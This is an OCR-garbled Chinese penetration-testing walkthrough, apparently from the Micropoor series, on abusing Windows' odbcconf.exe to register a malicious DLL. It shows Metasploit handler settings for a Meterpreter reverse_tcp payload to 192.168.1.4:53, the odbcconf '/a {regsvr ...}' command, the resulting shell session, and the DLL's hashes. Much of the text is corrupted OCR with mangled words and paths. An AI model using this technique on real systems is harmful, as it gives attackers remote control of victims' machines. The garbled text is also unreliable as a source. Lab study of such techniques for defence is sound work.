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Odbcconfig? :

ODBCCONF.exe— 1< IR |, AiFAcEODBCIKGNEFFIZIREIR.

HERE TS

https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017

15288 : Odbcconf.exefifERSREMEFMNPATHIAEZEES , EHIt , Odbcconfiz$aNiR
Bl , FE5FExX86 , x644890dbcconfiEF.

Windows 2003 ERANE :

Windows 7 BRIAIE :

¥EH 0 192.168.1.4 Debian
80f1 - 192.168.1.119  Windows 2003
192.168.1.5 Windows 7

AeEIEHmsf :
i¥ : x86 payload

I msf exploit(multi/handler) > show options
3 Module options (exploit/multi/handler):
4


https://micropoor.blogspot.com/
https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017

Name Current Setting Required Description

9 Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted:
none)

, seh, thread, proce

LHOST 192.168.1.4 yes The listen address (an interface may be specifi

LPORT 53 yes The listen port

Exploit target:

Id Name

@ Wildcard Target

msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.4:53



sf exploit{multi‘handler} = show options

Module options (exploitsmultishandler):

Mame Current Setting Regquired Description

none )

LPORT 23

Exploit target:
Id HMame

@ Wildcard Target

msf exploit{multishandler) = exploit

[*] Started reverse TCP handler on 192,

$EHIET - Windows 2003

T P TEHFAIEWIndows 03--Windows 2016 , Odbcconf for dIRAECEFHRS.
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Microzoft Windews Serwer 2003 RE
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I[ X Service Pack 2
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C:\Windows\SysWOWe64\odbcconf.exe /a {regsvr C\Micropoor_Odbcconf.dll}

iF : x64 Odbcconf.exe

C:s>CosWindows SSysWOW64~odbcconf .exe sa <{regsvr C:“Micropoor_Odbcconf _dll>




msf exploit{multi/handler] = exploit

4:53 -= 192.168.1.1158:1187) at 2019-0l-19 05:39:50 -0500

current pid;
meterpreter -

B

Micropoor_Odbcconf.dll , EillWindows 2003 x64 Windows 7 x64

i i

IN&E : reverse_tcp IP:192.168.1.4 PORT:53, WAL LM&4H=#; , EMicropoorlI \4F
fiE,

KN 73216 =75

{EAta): 2019518194, 21:29:11

MD5: B31B971F01DE32EC5ECA45746BF3DDAD2

SHAL: CF42E4BF5A613992B7A563A522BBEBF1DOFO6CCE
CRC32: 28A1CE90
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